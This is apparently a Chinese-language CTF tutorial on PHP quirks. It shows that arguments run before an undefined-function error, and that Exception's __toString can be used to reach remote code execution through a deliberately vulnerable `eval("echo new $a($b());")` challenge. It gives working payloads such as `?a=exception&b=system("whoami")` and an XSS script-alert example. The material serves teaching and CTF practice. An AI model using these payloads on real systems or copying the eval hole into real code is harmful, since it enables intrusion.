连异常报错也能拿到flag?
原创稿件征集
邮箱:edu@antvsion.comQQ:3200599554黑客极客技术、信息安全热点
安全研究分析
等安全相关的技术文章稿件通过并发布还能收获200-800元不等的稿酬
邮箱:edu@antvsion.comQQ:3200599554黑客极客技术、信息安全热点
安全研究分析
等安全相关的技术文章稿件通过并发布还能收获200-800元不等的稿酬
前言:
本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。
脸滚键盘打出来的函数也能执行?
没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。
比如,有如下PHP代码:
<?php
tian(phpinfo());
在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()
参数,这样的PHP代码能运行起来吗?
当然不能,除非tian
这个函数在内部已经自定义好了,否则这一串代码是一定报错的。
那么有没有办法让PHP正常执行这个程序呢?
有,那必须有,甚至只需要一行
<?php
function tian(){}
tian(phpinfo());
新添加的这一行代码本质上就是给tian
这个函数进行一个声明,这样整一个程序就能正常运行了。
这个时候可能就会有小机灵鬼发现了一个问题,在tian
这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢?
从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。
举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作:
举个最常见的函数:
<?php
$sql = mysqli_connect(phpinfo(),"root","root","mysql");
mysql_connect
作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo()
,这个时候程序可以将phpinfo()
打印出来。
至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢?
为什么我的对象打印不出来?
在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下:
<?php
class tian{
public $id = "Lxxx";
function getid()
{
return $this->id;
}
}
echo new tian();
这个代码报错如下:
这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString
,这个魔术方法会在对象被当做字符串的时候调用。
因此将上方程序进行修改,修改后的代码如下:
<?php
class tian{
public $id = "Lxxx";
function getid()
{
return $this->id;
}
function __toString()
{
return $this->id;
}
}
echo new tian();
这个时候,程序就可以正常执行了
这个时候我们修改一下代码:
<?php
class tian{
public $id;
function __construct($id)
{
$this->id = $id;
}
function __toString()
{
return $this->id;
}
}
echo new tian(phpinfo());
这个时候,结合上面的内容,应该就能理解这一部分代码
代码执行如下:
程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo()
,程序会先执行phpinfo()
那么将这两个特性结合起来有什么用呢?
下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。
表演一个异常报错实现RCE
题目代码如下:
<?php
//flag in flag.php
highlight_file(__FILE__);
if ( isset($_GET['a']) && isset($_GET['b']))
{
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
}
关键代码为:eval("echo new $a($b());");
首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类
我们先测试一下,传payload:?a=mysqli&b=phpinfo
这个时候是正常回显phpinfo
,但是想要命令执行还是有些许距离。
因此我们需要找到一个PHP自带类,并且这个类需要有__toString()
魔术方法,我们这里找到一个类为Exception
。
其中PHP官方手册对这个类的__toString()
描述如下:
这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢?
<?php
echo new Exception(system("whoami")());
那就先执行命令,然后将执行命令的结果作为参数传给Exception
所以传payload:?a=exception&b=system("whoami")
这个即可RCE
除此之外,Exception
中__toString()
魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。
举个例子:
<?php
echo new Exception("$_GET[1]");
这个时候传:?1=<script>alert("XSS");</script>
是可以XSS
当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。
推荐实操:https://www.hetianlab.com/pages/CTFLaboratory.jsp